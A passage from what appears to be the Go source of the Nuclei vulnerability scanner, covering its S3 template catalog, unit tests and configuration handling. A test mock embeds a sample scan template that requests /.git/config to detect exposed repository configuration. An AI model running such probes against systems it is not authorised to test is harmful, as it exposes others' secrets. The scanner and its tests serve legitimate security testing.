keys {\n\t\tif strings.Contains(key, target) {\n\t\t\tmatches = append(matches, key)\n\t\t}\n\t}\n\n\treturn matches, nil\n}\n\n// GetTemplatesPath returns all templates from S3\nfunc (c Catalog) GetTemplatesPath(definitions []string) ([]string, map[string]error) {\n\tkeys, err := c.svc.getAllKeys()\n\tif err != nil {\n\t\t// necessary to implement the Catalog interface\n\t\treturn nil, map[string]error{\"aws\": err}\n\t}\n\n\treturn keys, nil\n}\n\n// ResolvePath gets a full S3 key given the first param. If the second parameter is\n// provided it tries to find paths relative to the second path.\nfunc (c Catalog) ResolvePath(templateName, second string) (string, error) {\n\tkeys, err := c.svc.getAllKeys()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// if c second path is given, it's c folder and we join the two and check against keys\n\tif second != \"\" {\n\t\t// Note: Do not replace `path` with `filepath` since filepath is aware of Os path separator\n\t\t// and we only see `/` in s3 paths changing it to filepath cause build fail and other errors\n\t\ttarget := path.Join(path.Dir(second), templateName)\n\t\tfor _, key := range keys {\n\t\t\tif key == target {\n\t\t\t\treturn key, nil\n\t\t\t}\n\t\t}\n\t}\n\n\t// check if templateName is already an absolute path to c key\n\tif slices.Contains(keys, templateName) {\n\t\treturn templateName, nil\n\t}\n\n\treturn \"\", fmt.Errorf(\"no such path found: %s%s for keys: %v\", second, templateName, keys)\n}\n\nfunc (s *s3svc) getAllKeys() ([]string, error) {\n\tpaginator := s3.NewListObjectsV2Paginator(s.client, &s3.ListObjectsV2Input{\n\t\tBucket: &s.bucket,\n\t})\n\n\tvar keys []string\n\n\tfor paginator.HasMorePages() {\n\t\tpage, err := paginator.NextPage(context.TODO())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, obj := range page.Contents {\n\t\t\tkey := aws.ToString(obj.Key)\n\t\t\tkeys = append(keys, key)\n\t\t}\n\t}\n\n\treturn keys, nil\n}\n\nfunc (s *s3svc) downloadKey(name string) (io.ReadCloser, error) {\n\tdownloader := manager.NewDownloader(s.client)\n\tbuf := manager.NewWriteAtBuffer([]byte{})\n\t_, err := downloader.Download(context.TODO(), buf, &s3.GetObjectInput{\n\t\tBucket: aws.String(s.bucket),\n\t\tKey:    aws.String(name),\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn io.NopCloser(bytes.NewReader(buf.Bytes())), nil\n}\n\nfunc (s *s3svc) setBucket(bucket string) {\n\ts.bucket = bucket\n}\n"
  },
  {
    "path": "pkg/catalog/aws/catalog_test.go",
    "content": "package aws\n\nimport (\n\t\"io\"\n\t\"reflect\"\n\t\"slices\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/pkg/errors\"\n)\n\nfunc TestCatalog_GetTemplatePath(t *testing.T) {\n\ttype args struct {\n\t\ttarget string\n\t}\n\ttests := []struct {\n\t\tname    string\n\t\targs    args\n\t\twant    []string\n\t\twantErr bool\n\t}{\n\t\t{\n\t\t\t\"get all ssl files\",\n\t\t\targs{\n\t\t\t\ttarget: \"ssl\",\n\t\t\t},\n\t\t\t[]string{\n\t\t\t\t\"ssl/deprecated-tls.yaml\",\n\t\t\t\t\"ssl/detect-ssl-issuer.yaml\",\n\t\t\t\t\"ssl/expired-ssl.yaml\",\n\t\t\t\t\"ssl/mismatched-ssl.yaml\",\n\t\t\t},\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"get all ssl files with wildcard\",\n\t\t\targs{\n\t\t\t\ttarget: \"ssl*\",\n\t\t\t},\n\t\t\t[]string{\n\t\t\t\t\"ssl/deprecated-tls.yaml\",\n\t\t\t\t\"ssl/detect-ssl-issuer.yaml\",\n\t\t\t\t\"ssl/expired-ssl.yaml\",\n\t\t\t\t\"ssl/mismatched-ssl.yaml\",\n\t\t\t},\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"non-matching target\",\n\t\t\targs{\n\t\t\t\ttarget: \"I-DONT-EXIST\",\n\t\t\t},\n\t\t\t[]string{},\n\t\t\tfalse,\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tc, _ := NewCatalog(\"bucket\", withMockS3Service())\n\t\t\tgot, err := c.GetTemplatePath(tt.args.target)\n\t\t\tif (err != nil) != tt.wantErr {\n\t\t\t\tt.Errorf(\"GetTemplatePath() error = %v, wantErr %v\", err, tt.wantErr)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif len(tt.want) > 0 && !reflect.DeepEqual(got, tt.want) {\n\t\t\t\tt.Errorf(\"GetTemplatePath() got = %v, want %v\", got, tt.want)\n\t\t\t}\n\n\t\t\tif len(tt.want) == 0 && len(got) > 0 {\n\t\t\t\tt.Errorf(\"GetTemplatePath() got = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestCatalog_GetTemplatesPath(t *testing.T) {\n\ttmp := newMockS3Service()\n\tkeys, _ := tmp.getAllKeys()\n\n\ttype args struct {\n\t\tdefinitions []string\n\t}\n\ttests := []struct {\n\t\tname    string\n\t\targs    args\n\t\twant    []string\n\t\twantErr bool\n\t}{\n\t\t{\n\t\t\t\"without definitions\",\n\t\t\targs{\n\t\t\t\tdefinitions: nil,\n\t\t\t},\n\t\t\tkeys,\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"with definitions\",\n\t\t\targs{\n\t\t\t\tdefinitions: []string{\"ssl/deprecated-tls.yaml\"},\n\t\t\t},\n\t\t\tkeys,\n\t\t\tfalse,\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tc, _ := NewCatalog(\"bucket\", withMockS3Service())\n\t\t\tgot, got1 := c.GetTemplatesPath(tt.args.definitions)\n\n\t\t\tif got1 != nil {\n\t\t\t\tval, exists := got1[\"aws\"]\n\t\t\t\tif exists && !tt.wantErr {\n\t\t\t\t\tt.Errorf(\"GetTemplatesPath() error = %v, wantErr %v\", val, tt.wantErr)\n\t\t\t\t}\n\n\t\t\t\tif !exists && len(got1) > 0 {\n\t\t\t\t\tt.Errorf(\"GetTemplatesPath() should only return one key 'aws': %v\", got1)\n\t\t\t\t}\n\n\t\t\t\tif !exists && tt.wantErr {\n\t\t\t\t\tt.Errorf(\"GetTemplatesPath() error = %v, wantErr %v\", val, tt.wantErr)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !reflect.DeepEqual(got, tt.want) {\n\t\t\t\tt.Errorf(\"GetTemplatesPath() got = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestCatalog_OpenFile(t *testing.T) {\n\ttests := []struct {\n\t\tname     string\n\t\tfilename string\n\t\twantErr  bool\n\t}{\n\t\t{\n\t\t\t\"valid key\",\n\t\t\t\"ssl/deprecated-tls.yaml\",\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"nonexistent key\",\n\t\t\t\"something/that-doesnt-exist.yaml\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"path to folder\",\n\t\t\t\"cves/2023\",\n\t\t\ttrue,\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tc, _ := NewCatalog(\"bucket\", withMockS3Service())\n\t\t\tgot, err := c.OpenFile(tt.filename)\n\t\t\tif (err != nil) != tt.wantErr {\n\t\t\t\tt.Errorf(\"OpenFile() error = %v, wantErr %v\", err, tt.wantErr)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif err == nil && got == nil {\n\t\t\t\tt.Error(\"OpenFile() didn't return error but io.ReadCloser is nil\")\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestCatalog_ResolvePath(t *testing.T) {\n\ttype args struct {\n\t\ttemplateName string\n\t\tsecond       string\n\t}\n\ttests := []struct {\n\t\tname    string\n\t\targs    args\n\t\twant    string\n\t\twantErr bool\n\t}{\n\t\t{\n\t\t\t\"absolute path\",\n\t\t\targs{\n\t\t\t\t\"ssl/deprecated-tls.yaml\",\n\t\t\t\t\"\",\n\t\t\t},\n\t\t\t\"ssl/deprecated-tls.yaml\",\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"relative path with second param\",\n\t\t\targs{\n\t\t\t\t\"deprecated-tls.yaml\",\n\t\t\t\t\"ssl/\",\n\t\t\t},\n\t\t\t\"ssl/deprecated-tls.yaml\",\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"relative path and no second param\",\n\t\t\targs{\n\t\t\t\t\"cves/2023\",\n\t\t\t\t\"\",\n\t\t\t},\n\t\t\t\"\",\n\t\t\ttrue,\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tc, _ := NewCatalog(\"bucket\", withMockS3Service())\n\t\t\tgot, err := c.ResolvePath(tt.args.templateName, tt.args.second)\n\t\t\tif (err != nil) != tt.wantErr {\n\t\t\t\tt.Errorf(\"ResolvePath() error = %v, wantErr %v\", err, tt.wantErr)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif got != tt.want {\n\t\t\t\tt.Errorf(\"ResolvePath() got = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc withMockS3Service() func(*Catalog) error {\n\treturn func(c *Catalog) error {\n\t\tc.svc = newMockS3Service()\n\t\treturn nil\n\t}\n}\n\ntype mocks3svc struct {\n\tkeys []string\n}\n\nfunc newMockS3Service() mocks3svc {\n\treturn mocks3svc{\n\t\tkeys: []string{\n\t\t\t\"ssl/deprecated-tls.yaml\",\n\t\t\t\"ssl/detect-ssl-issuer.yaml\",\n\t\t\t\"ssl/expired-ssl.yaml\",\n\t\t\t\"ssl/mismatched-ssl.yaml\",\n\t\t\t\"cves/2023/CVE-2023-0669.yaml\",\n\t\t\t\"cves/2023/CVE-2023-23488.yaml\",\n\t\t\t\"cves/2023/CVE-2023-23489.yaml\",\n\t\t},\n\t}\n}\n\nfunc (m mocks3svc) getAllKeys() ([]string, error) {\n\treturn m.keys, nil\n}\n\nfunc (m mocks3svc) downloadKey(name string) (io.ReadCloser, error) {\n\tfound := slices.Contains(m.keys, name)\n\tif !found {\n\t\treturn nil, errors.New(\"key not found\")\n\t}\n\n\tsample := `\nid: git-config\n\ninfo:\n  name: Git Config File\n  author: Ice3man\n  severity: medium\n  description: Searches for the pattern /.git/config on passed URLs.\n\nrequests:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/.git/config\"\n    matchers:\n      - type: word\n        words:\n          - \"[core]\"\n`\n\n\treturn io.NopCloser(strings.NewReader(sample)), nil\n}\n\nfunc (m mocks3svc) setBucket(bucket string) {}\n"
  },
  {
    "path": "pkg/catalog/catalog.go",
    "content": "package catalog\n\nimport \"io\"\n\n// Catalog is a catalog storage implementations\ntype Catalog interface {\n\t// OpenFile opens a file and returns an io.ReadCloser to the file.\n\t// It is used to read template and payload files based on catalog responses.\n\tOpenFile(filename string) (io.ReadCloser, error)\n\t// GetTemplatePath parses the specified input template path and returns a compiled\n\t// list of finished absolute paths to the templates evaluating any glob patterns\n\t// or folders provided as in.\n\tGetTemplatePath(target string) ([]string, error)\n\t// GetTemplatesPath returns a list of absolute paths for the provided template list.\n\tGetTemplatesPath(definitions []string) ([]string, map[string]error)\n\t// ResolvePath resolves the path to an absolute one in various ways.\n\t//\n\t// It checks if the filename is an absolute path, looks in the current directory\n\t// or checking the nuclei templates directory. If a second path is given,\n\t// it also tries to find paths relative to that second path.\n\tResolvePath(templateName, second string) (string, error)\n}\n"
  },
  {
    "path": "pkg/catalog/config/constants.go",
    "content": "package config\n\nimport (\n\t\"strings\"\n\n\t\"github.com/Masterminds/semver/v3\"\n)\n\ntype AppMode string\n\nconst (\n\tAppModeLibrary AppMode = \"library\"\n\tAppModeCLI     AppMode = \"cli\"\n)\n\nvar (\n\t// Global Var to control behaviours specific to cli or library\n\t// maybe this should be moved to utils ??\n\t// this is overwritten in cmd/nuclei/main.go\n\tCurrentAppMode = AppModeLibrary\n)\n\nconst (\n\tTemplateConfigFileName          = \".templates-config.json\"\n\tNucleiTemplatesDirName          = \"nuclei-templates\"\n\tOfficialNucleiTemplatesRepoName = \"nuclei-templates\"\n\tNucleiIgnoreFileName            = \".nuclei-ignore\"\n\tNucleiTemplatesIndexFileName    = \".templates-index\" // contains index of official nuclei templates\n\tNucleiTemplatesCheckSumFileName = \".checksum\"\n\tNewTemplateAdditionsFileName    = \".new-additions\"\n\tCLIConfigFileName               = \"config.yaml\"\n\tReportingConfigFilename         = \"reporting-config.yaml\"\n\t// Version is the current version of nuclei\n\tVersion = `v3.7.1`\n\t// Directory Names of custom templates\n\tCustomS3TemplatesDirName     = \"s3\"\n\tCustomGitHubTemplatesDirName = \"github\"\n\tCustomAzureTemplatesDirName  = \"azure\"\n\tCustomGitLabTemplatesDirName = \"gitlab\"\n\tBinaryName                   = \"nuclei\"\n\tFallbackConfigFolderName     = \".nuclei-config\"\n\tNucleiConfigDirEnv           = \"NUCLEI_CONFIG_DIR\"\n\tNucleiTemplatesDirEnv        = \"NUCLEI_TEMPLATES_DIR\"\n)\n\n// IsOutdatedVersion compares two versions and returns true\n// if the current version is outdated\nfunc IsOutdatedVersion(current, latest string) bool {\n\tif latest == \"\" {\n\t\t// NOTE(dwisiswant0): if PDTM API call failed or returned empty, we\n\t\t// cannot determine if templates are outdated w/o additional checks\n\t\t// return false to avoid unnecessary updates.\n\t\treturn false\n\t}\n\n\tcurrent = trimDevIfExists(current)\n\tcurrentVer, _ := semver.NewVersion(current)\n\tnewVer, _ := semver.NewVersion(latest)\n\n\tif currentVer == nil || newVer == nil {\n\t\t// fallback to naive comparison - return true only if they are different\n\t\treturn current != latest\n\t}\n\n\treturn newVer.GreaterThan(currentVer)\n}\n\n// trimDevIfExists trims `-dev` suffix from version string if it exists\nfunc trimDevIfExists(version string) string {\n\tif strings.HasSuffix(version, \"-dev\") {\n\t\treturn strings.TrimSuffix(version, \"-dev\")\n\t}\n\treturn version\n}\n\n// similar to go pattern of enabling debug related features\n// we add custom/extra switches for debugging purposes\nconst (\n\t// DebugArgHostErrorStats is used to print host error stats\n\t// when it is closed\n\tDebugArgHostErrorStats = \"host-error-stats\"\n\t// DebugExportReqURLPattern is used to export request URL pattern\n\tDebugExportURLPattern = \"req-url-pattern\"\n)\n"
  },
  {
    "path": "pkg/catalog/config/ignorefile.go",
    "content": "package config\n\nimport (\n\t\"os\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"gopkg.in/yaml.v2\"\n)\n\n// IgnoreFile is an internal nuclei template blocking configuration file\ntype IgnoreFile struct {\n\tTags  []string `yaml:\"tags\"`\n\tFiles []string `yaml:\"files\"`\n}\n\n// ReadIgnoreFile reads the nuclei ignore file returning blocked tags and paths\nfunc ReadIgnoreFile() IgnoreFile {\n\tfile, err := os.Open(DefaultConfig.GetIgnoreFilePath())\n\tif err != nil {\n\t\tgologger.Error().Msgf(\"Could not read nuclei-ignore file: %s\\n\", err)\n\t\treturn IgnoreFile{}\n\t}\n\tdefer func() {\n\t\t_ = file.Close()\n\t}()\n\n\tignore := IgnoreFile{}\n\tif err := yaml.NewDecoder(file).Decode(&ignore); err != nil {\n\t\tgologger.Error().Msgf(\"Could not parse nuclei-ignore file: %s\\n\", err)\n\t\treturn IgnoreFile{}\n\t}\n\treturn ignore\n}\n"
  },
  {
    "path": "pkg/catalog/config/nucleiconfig.go",
    "content": "package config\n\nimport (\n\t\"bytes\"\n\t\"crypto/md5\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"slices\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\t\"github.com/projectdiscovery/utils/env\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\tfolderutil \"github.com/projectdiscovery/utils/folder\"\n)\n\n// DefaultConfig is the default nuclei configuration\n// all config values and default are centralized here\nvar DefaultConfig *Config\n\ntype Config struct {\n\tTemplatesDirectory string `json:\"nuclei-templates-directory,omitempty\"`\n\n\t// customtemplates exists in templates directory with the name of custom-templates provider\n\t// below custom paths are absolute paths to respective custom-templates directories\n\tCustomS3TemplatesDirectory     string `json:\"custom-s3-templates-directory\"`\n\tCustomGitHubTemplatesDirectory string `json:\"custom-github-templates-directory\"`\n\tCustomGitLabTemplatesDirectory string `json:\"custom-gitlab-templates-directory\"`\n\tCustomAzureTemplatesDirectory  string `json:\"custom-azure-templates-directory\"`\n\n\tTemplateVersion        string `json:\"nuclei-templates-version,omitempty\"`\n\tNucleiIgnoreHash       string `json:\"nuclei-ignore-hash,omitempty\"`\n\tLogAllEvents           bool   `json:\"-\"` // when enabled logs all events (more than verbose)\n\tHideTemplateSigWarning bool   `json:\"-\"` // when enabled disables template signature warning\n\n\t// LatestXXX are not meant to be used directly and is used as\n\t// local cache of nuclei version check endpoint\n\t// these fields are only update during nuclei version check\n\t// TODO: move these fields to a separate unexported struct as they are not meant to be used directly\n\tLatestNucleiVersion          string           `json:\"nuclei-latest-version\"`\n\tLatestNucleiTemplatesVersion string           `json:\"nuclei-templates-latest-version\"`\n\tLatestNucleiIgnoreHash       string           `json:\"nuclei-latest-ignore-hash,omitempty\"`\n\tLogger                       *gologger.Logger `json:\"-\"` // logger\n\n\t// internal / unexported fields\n\tdisableUpdates bool     `json:\"-\"` // disable updates both version check and template updates\n\thomeDir        string   `json:\"-\"` //  User Home Directory\n\tconfigDir      string   `json:\"-\"` //  Nuclei Global Config Directory\n\tdebugArgs      []string `json:\"-\"` // debug args\n\n\tm sync.Mutex\n}\n\n// IsCustomTemplate determines whether a given template is custom-built or part of the official Nuclei templates.\n// It checks if the template's path matches any of the predefined custom template directories\n// (such as S3, GitHub, GitLab, and Azure directories). If the template resides in any of these directories,\n// it is considered custom. Additionally, if the template's path does not start with the main Nuclei TemplatesDirectory,\n// it is also considered custom. This function assumes that template paths are either absolute\n// or relative to the same base as the paths configured in DefaultConfig.\nfunc (c *Config) IsCustomTemplate(templatePath string) bool {\n\tcustomDirs := []string{\n\t\tc.CustomS3TemplatesDirectory,\n\t\tc.CustomGitHubTemplatesDirectory,\n\t\tc.CustomGitLabTemplatesDirectory,\n\t\tc.CustomAzureTemplatesDirectory,\n\t}\n\n\tfor _, dir := range customDirs {\n\t\tif strings.HasPrefix(templatePath, dir) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn !strings.HasPrefix(templatePath, c.TemplatesDirectory)\n}\n\n// WriteVersionCheckData writes version check data to config file\nfunc (c *Config) WriteVersionCheckData(ignorehash, nucleiVersion, templatesVersion string) error {\n\tupdated := false\n\tif ignorehash != \"\" && c.LatestNucleiIgnoreHash != ignorehash {\n\t\tc.LatestNucleiIgnoreHash = ignorehash\n\t\tupdated = true\n\t}\n\tif nucleiVersion != \"\" && c.LatestNucleiVersion != nucleiVersion {\n\t\tc.LatestNucleiVersion = nucleiVersion\n\t\tupdated = true\n\t}\n\tif templatesVersion != \"\" && c.LatestNucleiTemplatesVersion != templatesVersion {\n\t\tc.LatestNucleiTemplatesVersion = templatesVersion\n\t\tupdated = true\n\t}\n\t// write config to disk if any of the fields are updated\n\tif updated {\n\t\treturn c.WriteTemplatesConfig()\n\t}\n\treturn nil\n}\n\n// GetTemplateDir returns the nuclei templates directory absolute path\nfunc (c *Config) GetTemplateDir() string {\n\tval, _ := filepath.Abs(c.TemplatesDirectory)\n\treturn val\n}\n\n// DisableUpdateCheck disables update check and template updates\nfunc (c *Config) DisableUpdateCheck() {\n\tc.m.Lock()\n\tdefer c.m.Unlock()\n\tc.disableUpdates = true\n}\n\n// CanCheckForUpdates returns true if update check is enabled\nfunc (c *Config) CanCheckForUpdates() bool {\n\tc.m.Lock()\n\tdefer c.m.Unlock()\n\treturn !c.disableUpdates\n}\n\n// NeedsTemplateUpdate returns true if template installation/update is required\nfunc (c *Config) NeedsTemplateUpdate() bool {\n\tc.m.Lock()\n\tdefer c.m.Unlock()\n\treturn !c.disableUpdates && (c.TemplateVersion == \"\" || IsOutdatedVersion(c.TemplateVersion, c.LatestNucleiTemplatesVersion) || !fileutil.FolderExists(c.TemplatesDirectory))\n}\n\n// NeedsIgnoreFileUpdate returns true if Ignore file hash is different (aka ignore file is outdated)\nfunc (c *Config) NeedsIgnoreFileUpdate() bool {\n\tc.m.Lock()\n\tdefer c.m.Unlock()\n\treturn c.NucleiIgnoreHash == \"\" || c.NucleiIgnoreHash != c.LatestNucleiIgnoreHash\n}\n\n// UpdateNucleiIgnoreHash updates the nuclei ignore hash in config\nfunc (c *Config) UpdateNucleiIgnoreHash() error {\n\t// calculate hash of ignore file and update config\n\tignoreFilePath := c.GetIgnoreFilePath()\n\tif fileutil.FileExists(ignoreFilePath) {\n\t\tbin, err := os.ReadFile(ignoreFilePath)\n\t\tif err != nil {\n\t\t\treturn errkit.Newf(\"could not read nuclei ignore file: %v\", err)\n\t\t}\n\t\tc.NucleiIgnoreHash = fmt.Sprintf(\"%x\", md5.Sum(bin))\n\t\t// write config to disk\n\t\treturn c.WriteTemplatesConfig()\n\t}\n\treturn errkit.New(\"ignore file not found: could not update nuclei ignore hash\")\n}\n\n// GetConfigDir returns the nuclei configuration directory\nfunc (c *Config) GetConfigDir() string {\n\treturn c.configDir\n}\n\n// GetKeysDir returns the nuclei signer keys directory\nfunc (c *Config) GetKeysDir() string {\n\treturn filepath.Join(c.configDir, \"keys\")\n}\n\n// GetAllCustomTemplateDirs returns all custom template directories\nfunc (c *Config) GetAllCustomTemplateDirs() []string {\n\treturn []string{c.CustomS3TemplatesDirectory, c.CustomGitHubTemplatesDirectory, c.CustomGitLabTemplatesDirectory, c.CustomAzureTemplatesDirectory}\n}\n\n// GetReportingConfigFilePath returns the nuclei reporting config file path\nfunc (c *Config) GetReportingConfigFilePath() string {\n\treturn filepath.Join(c.configDir, ReportingConfigFilename)\n}\n\n// GetIgnoreFilePath returns the nuclei ignore file path\nfunc (c *Config) GetIgnoreFilePath() string {\n\treturn filepath.Join(c.configDir, NucleiIgnoreFileName)\n}\n\nfunc (c *Config) GetTemplateIndexFilePath() string {\n\treturn filepath.Join(c.TemplatesDirectory, NucleiTemplatesIndexFileName)\n}\n\n// GetChecksumFilePath returns checksum file path of nuclei templates\nfunc (c *Config) GetChecksumFilePath() string {\n\treturn filepath.Join(c.TemplatesDirectory, NucleiTemplatesCheckSumFileName)\n}\n\n// GetFlagsConfigFilePath returns the nuclei cli config file path\nfunc (c *Config) GetFlagsConfigFilePath() string {\n\treturn filepath.Join(c.configDir, CLIConfigFileName)\n}\n\n// GetNewAdditions returns new template additions in current template release\n// if .new-additions file is not present empty slice is returned\nfunc (c *Config) GetNewAdditions() []string {\n\tarr := []string{}\n\tnewAdditionsPath := filepath.Join(c.TemplatesDirectory, NewTemplateAdditionsFileName)\n\tif !fileutil.FileExists(newAdditionsPath) {\n\t\treturn arr\n\t}\n\tbin, err := os.ReadFile(newAdditionsPath)\n\tif err != nil {\n\t\treturn arr\n\t}\n\tfor v := range strings.FieldsSeq(string(bin)) {\n\t\tif IsTemplateWithRoot(v, c.TemplatesDirectory) {\n\t\t\tarr = append(arr, v)\n\t\t}\n\t}\n\treturn arr\n}\n\n// GetCacheDir returns the nuclei cache directory\n// with new version of nuclei cache directory is changed\n// instead of saving resume files in nuclei config directory\n// they are saved in nuclei cache directory\nfunc (c *Config) GetCacheDir() string {\n\treturn folderutil.AppCacheDirOrDefault(\".nuclei-cache\", BinaryName)\n}\n\n// SetConfigDir sets the nuclei configuration directory\n// and appropriate changes are made to the config\nfunc (c *Config) SetConfigDir(dir string) {\n\tc.configDir = dir\n\tif err := c.createConfigDirIfNotExists(); err != nil {\n\t\tc.Logger.Fatal().Msgf(\"Could not create nuclei config directory at %s: %s\", c.configDir, err)\n\t}\n\n\t// if folder already exists read config or create new\n\tif err := c.ReadTemplatesConfig(); err != nil {\n\t\t// create new config\n\t\tapplyDefaultConfig()\n\t\tif err2 := c.WriteTemplatesConfig(); err2 != nil {\n\t\t\tc.Logger.Fatal().Msgf(\"Could not create nuclei config file at %s: %s\", c.getTemplatesConfigFilePath(), err2)\n\t\t}\n\t}\n\n\t// while other config files are optional, ignore file is mandatory\n\t// since it is used to ignore templates with weak matchers\n\tc.copyIgnoreFile()\n}\n\n// SetTemplatesDir sets the new nuclei templates directory\nfunc (c *Config) SetTemplatesDir(dirPath string) {\n\tif dirPath != \"\" && !filepath.IsAbs(dirPath) {\n\t\tcwd, _ := os.Getwd()\n\t\tdirPath = filepath.Join(cwd, dirPath)\n\t}\n\tc.TemplatesDirectory = dirPath\n\t// Update the custom templates directory\n\tc.CustomGitHubTemplatesDirectory = filepath.Join(dirPath, CustomGitHubTemplatesDirName)\n\tc.CustomS3TemplatesDirectory = filepath.Join(dirPath, CustomS3TemplatesDirName)\n\tc.CustomGitLabTemplatesDirectory = filepath.Join(dirPath, CustomGitLabTemplatesDirName)\n\tc.CustomAzureTemplatesDirectory = filepath.Join(dirPath, CustomAzureTemplatesDirName)\n}\n\n// SetTemplatesVersion sets the new nuclei templates version\nfunc (c *Config) SetTemplatesVersion(version string) error {\n\tc.TemplateVersion = version\n\t// write config to disk\n\tif err := c.WriteTemplatesConfig(); err != nil {\n\t\treturn errkit.Newf(\"could not write nuclei config file at %s: %v\", c.getTemplatesConfigFilePath(), err)\n\t}\n\treturn nil\n}\n\n// ReadTemplatesConfig reads the nuclei templates config file\nfunc (c *Config) ReadTemplatesConfig() error {\n\tif !fileutil.FileExists(c.getTemplatesConfigFilePath()) {\n\t\treturn errkit.Newf(\"nuclei config file at %s does not exist\", c.getTemplatesConfigFilePath())\n\t}\n\tvar cfg *Config\n\tbin, err := os.ReadFile(c.getTemplatesConfigFilePath())\n\tif err != nil {\n\t\treturn errkit.Newf(\"could not read nuclei config file at %s: %v\", c.getTemplatesConfigFilePath(), err)\n\t}\n\tif err := json.Unmarshal(bin, &cfg); err != nil {\n\t\treturn errkit.Newf(\"could not unmarshal nuclei config file at %s: %v\", c.getTemplatesConfigFilePath(), err)\n\t}\n\t// apply config\n\tc.TemplatesDirectory = cfg.TemplatesDirectory\n\tc.TemplateVersion = cfg.TemplateVersion\n\tc.NucleiIgnoreHash = cfg.NucleiIgnoreHash\n\tc.LatestNucleiIgnoreHash = cfg.LatestNucleiIgnoreHash\n\tc.LatestNucleiTemplatesVersion = cfg.LatestNucleiTemplatesVersion\n\treturn nil\n}\n\n// WriteTemplatesConfig writes the nuclei templates config file\nfunc (c *Config) WriteTemplatesConfig() error {\n\t// check if config folder exists if not create one\n\tif err := c.createConfigDirIfNotExists(); err != nil {\n\t\treturn err\n\t}\n\tbin, err := json.Marshal(c)\n\tif err != nil {\n\t\treturn errkit.Newf(\"failed to marshal nuclei config: %v\", err)\n\t}\n\tif err = os.WriteFile(c.getTemplatesConfigFilePath(), bin, 0600); err != nil {\n\t\treturn errkit.Newf(\"failed to write nuclei config file at %s: %v\", c.getTemplatesConfigFilePath(), err)\n\t}\n\treturn nil\n}\n\n// WriteTemplatesIndex writes the nuclei templates index file\nfunc (c *Config) WriteTemplatesIndex(index map[string]string) error {\n\tindexFile := c.GetTemplateIndexFilePath()\n\tvar buff bytes.Buffer\n\tfor k, v := range index {\n\t\t_, _ = buff.WriteString(k + \",\" + v + \"\\n\")\n\t}\n\treturn os.WriteFile(indexFile, buff.Bytes(), 0600)\n}\n\n// getTemplatesConfigFilePath returns configDir/.templates-config.json file path\nfunc (c *Config) getTemplatesConfigFilePath() string {\n\treturn filepath.Join(c.configDir, TemplateConfigFileName)\n}\n\n// createConfigDirIfNotExists creates the nuclei config directory if not exists\nfunc (c *Config) createConfigDirIfNotExists() error {\n\tif !fileutil.FolderExists(c.configDir) {\n\t\tif err := fileutil.CreateFolder(c.configDir); err != nil {\n\t\t\treturn errkit.Newf(\"could not create nuclei config directory at %s: %v\", c.configDir, err)\n\t\t}\n\t}\n\treturn nil\n}\n\n// copyIgnoreFile copies the nuclei ignore file default config directory\n// to the current config directory\nfunc (c *Config) copyIgnoreFile() {\n\tif err := c.createConfigDirIfNotExists(); err != nil {\n\t\tc.Logger.Error().Msgf(\"Could not create nuclei config directory at %s: %s\", c.configDir, err)\n\t\treturn\n\t}\n\tignoreFilePath := c.GetIgnoreFilePath()\n\tif !fileutil.FileExists(ignoreFilePath) {\n\t\t// copy ignore file from default config directory\n\t\tif err := fileutil.CopyFile(filepath.Join(folderutil.AppConfigDirOrDefault(FallbackConfigFolderName, BinaryName), NucleiIgnoreFileName), ignoreFilePath); err != nil {\n\t\t\tc.Logger.Error().Msgf(\"Could not copy nuclei ignore file at %s: %s\", ignoreFilePath, err)\n\t\t}\n\t}\n}\n\n// IsDebugArgEnabled checks if debug arg is enabled\n// this could be a feature specific to debugging like PPROF or printing stats\n// of max host error etc\nfunc (c *Config) IsDebugArgEnabled(arg string) bool {\n\treturn slices.Contains(c.debugArgs, arg)\n}\n\n// parseDebugArgs from string\nfunc (c *Config) parseDebugArgs(data string) {\n\t// use space as separator instead of commas\n\ttmp := strings.Fields(data)\n\tfor _, v := range tmp {\n\t\tkey := v\n\t\tvalue := \"\"\n\t\t// if it is key value pair then split it\n\t\tif strings.Contains(v, \"=\") {\n\t\t\tparts := strings.SplitN(v, \"=\", 2)\n\t\t\tif len(parts) != 2 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tkey, value = strings.TrimSpace(parts[0]), strings.TrimSpace(parts[1])\n\t\t}\n\t\tif value == \"false\" || value == \"0\" {\n\t\t\t// if false or disabled then 